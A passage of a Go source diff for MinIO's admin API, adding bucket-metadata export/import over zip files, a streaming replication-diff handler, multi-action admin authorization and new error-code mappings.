+
+	bucket := pathClean(r.Form.Get("bucket"))
+	// Get current object layer instance.
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ExportBucketMetadataAction)
+	if objectAPI == nil {
+		return
+	}
+
+	var (
+		buckets []BucketInfo
+		err     error
+	)
+	if bucket != "" {
+		// Check if bucket exists.
+		if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
+			writeErrorResponseJSON(ctx, w, toAPIError(ctx, err), r.URL)
+			return
+		}
+		buckets = append(buckets, BucketInfo{Name: bucket})
+	} else {
+		buckets, err = objectAPI.ListBuckets(ctx, BucketOptions{})
+		if err != nil {
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+			return
+		}
+	}
+
+	// Initialize a zip writer which will provide a zipped content
+	// of bucket metadata
+	zipWriter := zip.NewWriter(w)
+	defer zipWriter.Close()
+	rawDataFn := func(r io.Reader, filename string, sz int) error {
+		header, zerr := zip.FileInfoHeader(dummyFileInfo{
+			name:    filename,
+			size:    int64(sz),
+			mode:    0o600,
+			modTime: time.Now(),
+			isDir:   false,
+			sys:     nil,
+		})
+		if zerr != nil {
+			logger.LogIf(ctx, zerr)
+			return nil
+		}
+		header.Method = zip.Deflate
+		zwriter, zerr := zipWriter.CreateHeader(header)
+		if zerr != nil {
+			logger.LogIf(ctx, zerr)
+			return nil
+		}
+		if _, err := io.Copy(zwriter, r); err != nil {
+			logger.LogIf(ctx, err)
+		}
+		return nil
+	}
+
+	cfgFiles := []string{
+		bucketPolicyConfig,
+		bucketNotificationConfig,
+		bucketLifecycleConfig,
+		bucketSSEConfig,
+		bucketTaggingConfig,
+		bucketQuotaConfigFile,
+		objectLockConfig,
+		bucketVersioningConfig,
+		bucketReplicationConfig,
+		bucketTargetsFile,
+	}
+	for _, bi := range buckets {
+		for _, cfgFile := range cfgFiles {
+			cfgPath := pathJoin(bi.Name, cfgFile)
+			bucket := bi.Name
+			switch cfgFile {
+			case bucketNotificationConfig:
+				config, err := globalBucketMetadataSys.GetNotificationConfig(bucket)
+				if err != nil {
+					logger.LogIf(ctx, err)
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketLifecycleConfig:
+				config, err := globalBucketMetadataSys.GetLifecycleConfig(bucket)
+				if err != nil {
+					if errors.Is(err, BucketLifecycleNotFound{Bucket: bucket}) {
+						continue
+					}
+					logger.LogIf(ctx, err)
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketQuotaConfigFile:
+				config, _, err := globalBucketMetadataSys.GetQuotaConfig(ctx, bucket)
+				if err != nil {
+					if errors.Is(err, BucketQuotaConfigNotFound{Bucket: bucket}) {
+						continue
+					}
+					writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+					return
+				}
+				configData, err := json.Marshal(config)
+				if err != nil {
+					writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketSSEConfig:
+				config, _, err := globalBucketMetadataSys.GetSSEConfig(bucket)
+				if err != nil {
+					if errors.Is(err, BucketSSEConfigNotFound{Bucket: bucket}) {
+						continue
+					}
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketTaggingConfig:
+				config, _, err := globalBucketMetadataSys.GetTaggingConfig(bucket)
+				if err != nil {
+					if errors.Is(err, BucketTaggingNotFound{Bucket: bucket}) {
+						continue
+					}
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case objectLockConfig:
+				config, _, err := globalBucketMetadataSys.GetObjectLockConfig(bucket)
+				if err != nil {
+					if errors.Is(err, BucketObjectLockConfigNotFound{Bucket: bucket}) {
+						continue
+					}
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketVersioningConfig:
+				config, _, err := globalBucketMetadataSys.GetVersioningConfig(bucket)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				// ignore empty versioning configs
+				if config.Status != versioning.Enabled && config.Status != versioning.Suspended {
+					continue
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketReplicationConfig:
+				config, _, err := globalBucketMetadataSys.GetReplicationConfig(ctx, bucket)
+				if err != nil {
+					if errors.Is(err, BucketReplicationConfigNotFound{Bucket: bucket}) {
+						continue
+					}
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			case bucketTargetsFile:
+				config, err := globalBucketMetadataSys.GetBucketTargetsConfig(bucket)
+				if err != nil {
+					if errors.Is(err, BucketRemoteTargetNotFound{Bucket: bucket}) {
+						continue
+					}
+
+					writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+					return
+				}
+				configData, err := xml.Marshal(config)
+				if err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+				if err = rawDataFn(bytes.NewReader(configData), cfgPath, len(configData)); err != nil {
+					writeErrorResponse(ctx, w, exportError(ctx, err, cfgFile, bucket), r.URL)
+					return
+				}
+			}
+		}
+	}
+}
+
+type importMetaReport struct {
+	madmin.BucketMetaImportErrs
+}
+
+func (i *importMetaReport) SetStatus(bucket, fname string, err error) {
+	st := i.Buckets[bucket]
+	var errMsg string
+	if err != nil {
+		errMsg = err.Error()
+	}
+	switch fname {
+	case bucketPolicyConfig:
+		st.Policy = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketNotificationConfig:
+		st.Notification = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketLifecycleConfig:
+		st.Lifecycle = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketSSEConfig:
+		st.SSEConfig = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketTaggingConfig:
+		st.Tagging = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketQuotaConfigFile:
+		st.Quota = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case objectLockConfig:
+		st.ObjectLock = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	case bucketVersioningConfig:
+		st.Versioning = madmin.MetaStatus{IsSet: true, Err: errMsg}
+	default:
+		st.Err = errMsg
+	}
+	i.Buckets[bucket] = st
+}
+
+// ImportBucketMetadataHandler - imports all bucket metadata from a zipped file and overwrite bucket metadata config
+// There are some caveats regarding the following:
+// 1. object lock config - object lock should have been specified at time of bucket creation. Only default retention settings are imported here.
+// 2. Replication config - is omitted from import as remote target credentials are not available from exported data for security reasons.
+// 3. lifecycle config - if transition rules are present, tier name needs to have been defined.
+func (a adminAPIHandlers) ImportBucketMetadataHandler(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "ImportBucketMetadata")
+
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	// Get current object layer instance.
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ImportBucketMetadataAction)
+	if objectAPI == nil {
+		return
+	}
+	data, err := io.ReadAll(r.Body)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)
+		return
+	}
+	reader := bytes.NewReader(data)
+	zr, err := zip.NewReader(reader, int64(len(data)))
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)
+		return
+	}
+	bucketMap := make(map[string]struct{}, 1)
+	rpt := importMetaReport{
+		madmin.BucketMetaImportErrs{
+			Buckets: make(map[string]madmin.BucketStatus, len(zr.File)),
+		},
+	}
+	// import object lock config if any - order of import matters here.
+	for _, file := range zr.File {
+		slc := strings.Split(file.Name, slashSeparator)
+		if len(slc) != 2 { // expecting bucket/configfile in the zipfile
+			rpt.SetStatus(file.Name, "", fmt.Errorf("malformed zip - expecting format bucket/<config.json>"))
+			continue
+		}
+		bucket, fileName := slc[0], slc[1]
+		switch fileName {
+		case objectLockConfig:
+			reader, err := file.Open()
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			config, err := objectlock.ParseObjectLockConfig(reader)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s (%s)", errorCodes[ErrMalformedXML].Description, err))
+				continue
+			}
+
+			configData, err := xml.Marshal(config)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			if _, ok := bucketMap[bucket]; !ok {
+				opts := MakeBucketOptions{
+					LockEnabled: config.ObjectLockEnabled == "Enabled",
+				}
+				err = objectAPI.MakeBucket(ctx, bucket, opts)
+				if err != nil {
+					if _, ok := err.(BucketExists); !ok {
+						rpt.SetStatus(bucket, fileName, err)
+						continue
+					}
+				}
+				bucketMap[bucket] = struct{}{}
+			}
+
+			// Deny object locking configuration settings on existing buckets without object lock enabled.
+			if _, _, err = globalBucketMetadataSys.GetObjectLockConfig(bucket); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, objectLockConfig, configData)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+
+			// Call site replication hook.
+			//
+			// We encode the xml bytes as base64 to ensure there are no encoding
+			// errors.
+			cfgStr := base64.StdEncoding.EncodeToString(configData)
+			if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+				Type:             madmin.SRBucketMetaTypeObjectLockConfig,
+				Bucket:           bucket,
+				ObjectLockConfig: &cfgStr,
+				UpdatedAt:        updatedAt,
+			}); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+		}
+	}
+
+	// import versioning metadata
+	for _, file := range zr.File {
+		slc := strings.Split(file.Name, slashSeparator)
+		if len(slc) != 2 { // expecting bucket/configfile in the zipfile
+			rpt.SetStatus(file.Name, "", fmt.Errorf("malformed zip - expecting format bucket/<config.json>"))
+			continue
+		}
+		bucket, fileName := slc[0], slc[1]
+		switch fileName {
+		case bucketVersioningConfig:
+			reader, err := file.Open()
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			v, err := versioning.ParseConfig(io.LimitReader(reader, maxBucketVersioningConfigSize))
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			if _, ok := bucketMap[bucket]; !ok {
+				if err = objectAPI.MakeBucket(ctx, bucket, MakeBucketOptions{}); err != nil {
+					if _, ok := err.(BucketExists); !ok {
+						rpt.SetStatus(bucket, fileName, err)
+						continue
+					}
+				}
+				bucketMap[bucket] = struct{}{}
+			}
+
+			if globalSiteReplicationSys.isEnabled() && v.Suspended() {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("Cluster replication is enabled for this site, so the versioning state cannot be suspended."))
+				continue
+			}
+
+			if rcfg, _ := globalBucketObjectLockSys.Get(bucket); rcfg.LockEnabled && v.Suspended() {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("An Object Lock configuration is present on this bucket, so the versioning state cannot be suspended."))
+				continue
+			}
+			if _, err := getReplicationConfig(ctx, bucket); err == nil && v.Suspended() {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("A replication configuration is present on this bucket, so the versioning state cannot be suspended."))
+				continue
+			}
+
+			configData, err := xml.Marshal(v)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s (%s)", errorCodes[ErrMalformedXML].Description, err))
+				continue
+			}
+
+			if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketVersioningConfig, configData); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+		}
+	}
+
+	for _, file := range zr.File {
+		reader, err := file.Open()
+		if err != nil {
+			rpt.SetStatus(file.Name, "", err)
+			continue
+		}
+		sz := file.FileInfo().Size()
+		slc := strings.Split(file.Name, slashSeparator)
+		if len(slc) != 2 { // expecting bucket/configfile in the zipfile
+			rpt.SetStatus(file.Name, "", fmt.Errorf("malformed zip - expecting format bucket/<config.json>"))
+			continue
+		}
+		bucket, fileName := slc[0], slc[1]
+		// create bucket if it does not exist yet.
+		if _, ok := bucketMap[bucket]; !ok {
+			err = objectAPI.MakeBucket(ctx, bucket, MakeBucketOptions{})
+			if err != nil {
+				if _, ok := err.(BucketExists); !ok {
+					rpt.SetStatus(bucket, "", err)
+					continue
+				}
+			}
+			bucketMap[bucket] = struct{}{}
+		}
+		if _, ok := bucketMap[bucket]; !ok {
+			continue
+		}
+		switch fileName {
+		case bucketNotificationConfig:
+			config, err := event.ParseConfig(io.LimitReader(reader, sz), globalSite.Region, globalEventNotifier.targetList)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s (%s)", errorCodes[ErrMalformedXML].Description, err))
+				continue
+			}
+
+			configData, err := xml.Marshal(config)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketNotificationConfig, configData); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rulesMap := config.ToRulesMap()
+			globalEventNotifier.AddRulesMap(bucket, rulesMap)
+			rpt.SetStatus(bucket, fileName, nil)
+		case bucketPolicyConfig:
+			// Error out if Content-Length is beyond allowed size.
+			if sz > maxBucketPolicySize {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf(ErrPolicyTooLarge.String()))
+				continue
+			}
+
+			bucketPolicyBytes, err := io.ReadAll(io.LimitReader(reader, sz))
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			bucketPolicy, err := policy.ParseConfig(bytes.NewReader(bucketPolicyBytes), bucket)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			// Version in policy must not be empty
+			if bucketPolicy.Version == "" {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf(ErrPolicyInvalidVersion.String()))
+				continue
+			}
+
+			configData, err := json.Marshal(bucketPolicy)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketPolicyConfig, configData)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+			// Call site replication hook.
+			if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+				Type:      madmin.SRBucketMetaTypePolicy,
+				Bucket:    bucket,
+				Policy:    bucketPolicyBytes,
+				UpdatedAt: updatedAt,
+			}); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+		case bucketLifecycleConfig:
+			bucketLifecycle, err := lifecycle.ParseLifecycleConfig(io.LimitReader(reader, sz))
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			// Validate the received bucket policy document
+			if err = bucketLifecycle.Validate(); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			// Validate the transition storage ARNs
+			if err = validateTransitionTier(bucketLifecycle); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			configData, err := xml.Marshal(bucketLifecycle)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			if _, err = globalBucketMetadataSys.Update(ctx, bucket, bucketLifecycleConfig, configData); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+		case bucketSSEConfig:
+			// Parse bucket encryption xml
+			encConfig, err := validateBucketSSEConfig(io.LimitReader(reader, maxBucketSSEConfigSize))
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s (%s)", errorCodes[ErrMalformedXML].Description, err))
+				continue
+			}
+
+			// Return error if KMS is not initialized
+			if GlobalKMS == nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s", errorCodes[ErrKMSNotConfigured].Description))
+				continue
+			}
+			kmsKey := encConfig.KeyID()
+			if kmsKey != "" {
+				kmsContext := kms.Context{"MinIO admin API": "ServerInfoHandler"} // Context for a test key operation
+				_, err := GlobalKMS.GenerateKey(ctx, kmsKey, kmsContext)
+				if err != nil {
+					if errors.Is(err, kes.ErrKeyNotFound) {
+						rpt.SetStatus(bucket, fileName, errKMSKeyNotFound)
+						continue
+					}
+					rpt.SetStatus(bucket, fileName, err)
+					continue
+				}
+			}
+
+			configData, err := xml.Marshal(encConfig)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			// Store the bucket encryption configuration in the object layer
+			updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketSSEConfig, configData)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+
+			// Call site replication hook.
+			//
+			// We encode the xml bytes as base64 to ensure there are no encoding
+			// errors.
+			cfgStr := base64.StdEncoding.EncodeToString(configData)
+			if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+				Type:      madmin.SRBucketMetaTypeSSEConfig,
+				Bucket:    bucket,
+				SSEConfig: &cfgStr,
+				UpdatedAt: updatedAt,
+			}); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+		case bucketTaggingConfig:
+			tags, err := tags.ParseBucketXML(io.LimitReader(reader, sz))
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("%s (%s)", errorCodes[ErrMalformedXML].Description, err))
+				continue
+			}
+
+			configData, err := xml.Marshal(tags)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketTaggingConfig, configData)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+
+			// Call site replication hook.
+			//
+			// We encode the xml bytes as base64 to ensure there are no encoding
+			// errors.
+			cfgStr := base64.StdEncoding.EncodeToString(configData)
+			if err = globalSiteReplicationSys.BucketMetaHook(ctx, madmin.SRBucketMeta{
+				Type:      madmin.SRBucketMetaTypeTags,
+				Bucket:    bucket,
+				Tags:      &cfgStr,
+				UpdatedAt: updatedAt,
+			}); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+		case bucketQuotaConfigFile:
+			data, err := io.ReadAll(reader)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			quotaConfig, err := parseBucketQuota(bucket, data)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+
+			if quotaConfig.Type == "fifo" {
+				rpt.SetStatus(bucket, fileName, fmt.Errorf("Detected older 'fifo' quota config, 'fifo' feature is removed and not supported anymore"))
+				continue
+			}
+
+			updatedAt, err := globalBucketMetadataSys.Update(ctx, bucket, bucketQuotaConfigFile, data)
+			if err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+			rpt.SetStatus(bucket, fileName, nil)
+
+			bucketMeta := madmin.SRBucketMeta{
+				Type:      madmin.SRBucketMetaTypeQuotaConfig,
+				Bucket:    bucket,
+				Quota:     data,
+				UpdatedAt: updatedAt,
+			}
+			if quotaConfig.Quota == 0 {
+				bucketMeta.Quota = nil
+			}
+
+			// Call site replication hook.
+			if err = globalSiteReplicationSys.BucketMetaHook(ctx, bucketMeta); err != nil {
+				rpt.SetStatus(bucket, fileName, err)
+				continue
+			}
+		}
+	}
+
+	rptData, err := json.Marshal(rpt.BucketMetaImportErrs)
+	if err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseJSON(w, rptData)
+}
+
+// ReplicationDiffHandler - POST returns info on unreplicated versions for a remote target ARN
+// to the connected HTTP client.
+func (a adminAPIHandlers) ReplicationDiffHandler(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "ReplicationDiff")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	vars := mux.Vars(r)
+	bucket := vars["bucket"]
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ReplicationDiff)
+	if objectAPI == nil {
+		return
+	}
+
+	// Check if bucket exists.
+	if _, err := objectAPI.GetBucketInfo(ctx, bucket, BucketOptions{}); err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+	opts := extractReplicateDiffOpts(r.Form)
+	if opts.ARN != "" {
+		tgt := globalBucketTargetSys.GetRemoteBucketTargetByArn(ctx, bucket, opts.ARN)
+		if tgt.Empty() {
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrInvalidRequest, fmt.Errorf("invalid arn : '%s'", opts.ARN)), r.URL)
+			return
+		}
+	}
+
+	keepAliveTicker := time.NewTicker(500 * time.Millisecond)
+	defer keepAliveTicker.Stop()
+
+	diffCh, err := getReplicationDiff(ctx, objectAPI, bucket, opts)
+	if err != nil {
+		writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
+		return
+	}
+	enc := json.NewEncoder(w)
+	for {
+		select {
+		case entry, ok := <-diffCh:
+			if !ok {
+				return
+			}
+			if err := enc.Encode(entry); err != nil {
+				return
+			}
+			if len(diffCh) == 0 {
+				// Flush if nothing is queued
+				w.(http.Flusher).Flush()
+			}
+		case <-keepAliveTicker.C:
+			if len(diffCh) > 0 {
+				continue
+			}
+			if _, err := w.Write([]byte(" ")); err != nil {
+				return
+			}
+			w.(http.Flusher).Flush()
+		case <-ctx.Done():
+			return
+		}
+	}
+}
@@ -20,15 +20,20 @@ package cmd
 import (
 	"context"
 	"errors"
+	"fmt"
 	"net/http"

 	"github.com/minio/kes"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/auth"
 	"github.com/minio/minio/internal/config"
 	iampolicy "github.com/minio/pkg/iam/policy"
 )

+// validateAdminReq will validate request against and return whether it is allowed.
+// If any of the supplied actions are allowed it will be successful.
+// If nil ObjectLayer is returned, the operation is not permitted.
+// When nil ObjectLayer has been returned an error has always been sent to w.
 func validateAdminReq(ctx context.Context, w http.ResponseWriter, r *http.Request, actions ...iampolicy.AdminAction) (ObjectLayer, auth.Credentials) {
 	// Get current object layer instance.
 	objectAPI := newObjectLayerFn()
@@ -40,11 +45,16 @@ func validateAdminReq(ctx context.Context, w http.ResponseWriter, r *http.Reques
 	for _, action := range actions {
 		// Validate request signature.
 		cred, adminAPIErr := checkAdminRequestAuth(ctx, r, action, "")
-		if adminAPIErr != ErrNone {
+		switch adminAPIErr {
+		case ErrNone:
+			return objectAPI, cred
+		case ErrAccessDenied:
+			// Try another
+			continue
+		default:
 			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(adminAPIErr), r.URL)
 			return nil, cred
 		}
-		return objectAPI, cred
 	}
 	writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)
 	return nil, auth.Credentials{}
@@ -74,7 +84,13 @@ func toAdminAPIErr(ctx context.Context, err error) APIError {
 			Description:    e.Error(),
 			HTTPStatusCode: http.StatusBadRequest,
 		}
-	case config.Error:
+	case config.ErrConfigNotFound:
+		apiErr = APIError{
+			Code:           "XMinioConfigNotFoundError",
+			Description:    e.Error(),
+			HTTPStatusCode: http.StatusNotFound,
+		}
+	case config.ErrConfigGeneric:
 		apiErr = APIError{
 			Code:           "XMinioConfigError",
 			Description:    e.Error(),
@@ -96,6 +112,12 @@ func toAdminAPIErr(ctx context.Context, err error) APIError {
 		}
 	default:
 		switch {
+		case errors.Is(err, errTooManyPolicies):
+			apiErr = APIError{
+				Code:           "XMinioAdminInvalidRequest",
+				Description:    err.Error(),
+				HTTPStatusCode: http.StatusBadRequest,
+			}
 		case errors.Is(err, errDecommissionAlreadyRunning):
 			apiErr = APIError{
 				Code:           "XMinioDecommissionNotAllowed",
@@ -108,6 +130,18 @@ func toAdminAPIErr(ctx context.Context, err error) APIError {
 				Description:    err.Error(),
 				HTTPStatusCode: http.StatusBadRequest,
 			}
+		case errors.Is(err, errDecommissionRebalanceAlreadyRunning):
+			apiErr = APIError{
+				Code:           "XMinioDecommissionNotAllowed",
+				Description:    err.Error(),
+				HTTPStatusCode: http.StatusBadRequest,
+			}
+		case errors.Is(err, errRebalanceDecommissionAlreadyRunning):
+			apiErr = APIError{
+				Code:           "XMinioRebalanceNotAllowed",
+				Description:    err.Error(),
+				HTTPStatusCode: http.StatusBadRequest,
+			}
 		case errors.Is(err, errConfigNotFound):
 			apiErr = APIError{
 				Code:           "XMinioConfigError",
@@ -120,15 +154,9 @@ func toAdminAPIErr(ctx context.Context, err error) APIError {
 				Description:    err.Error(),
 				HTTPStatusCode: http.StatusForbidden,
 			}
-		case errors.Is(err, errIAMServiceAccount):
+		case errors.Is(err, errIAMServiceAccountNotAllowed):
 			apiErr = APIError{
-				Code:           "XMinioIAMServiceAccount",
-				Description:    err.Error(),
-				HTTPStatusCode: http.StatusBadRequest,
-			}
-		case errors.Is(err, errIAMServiceAccountUsed):
-			apiErr = APIError{
-				Code:           "XMinioIAMServiceAccountUsed",
+				Code:           "XMinioIAMServiceAccountNotAllowed",
 				Description:    err.Error(),
 				HTTPStatusCode: http.StatusBadRequest,
 			}
@@ -176,24 +204,6 @@ func toAdminAPIErr(ctx context.Context, err error) APIError {
 				Description:    err.Error(),
 				HTTPStatusCode: http.StatusBadRequest,
 			}
-		case errors.Is(err, errTierBackendInUse):
-			apiErr = APIError{
-				Code:           "XMinioAdminTierBackendInUse",
-				Description:    err.Error(),
-				HTTPStatusCode: http.StatusBadRequest,
-			}
-		case errors.Is(err, errTierBackendNotEmpty):
-			apiErr = APIError{
-				Code:           "XMinioAdminTierBackendNotEmpty",
-				Description:    err.Error(),
-				HTTPStatusCode: http.StatusBadRequest,
-			}
-		case errors.Is(err, errTierInsufficientCreds):
-			apiErr = APIError{
-				Code:           "XMinioAdminTierInsufficientCreds",
-				Description:    err.Error(),
-				HTTPStatusCode: http.StatusBadRequest,
-			}
 		case errIsTierPermError(err):
 			apiErr = APIError{
 				Code:           "XMinioAdminTierInsufficientPermissions",
@@ -217,3 +227,27 @@ func toAdminAPIErrCode(ctx context.Context, err error) APIErrorCode {
 		return toAPIErrorCode(ctx, err)
 	}
 }
+
+// wraps export error for more context
+func exportError(ctx context.Context, err error, fname, entity string) APIError {
+	if entity == "" {
+		return toAPIError(ctx, fmt.Errorf("error exporting %s with: %w", fname, err))
+	}
+	return toAPIError(ctx, fmt.Errorf("error exporting %s from %s with: %w", entity, fname, err))
+}
+
+// wraps import error for more context
+func importError(ctx context.Context, err error, fname, entity string) APIError {
+	if entity == "" {
+		return toAPIError(ctx, fmt.Errorf("error importing %s with: %w", fname, err))
+	}
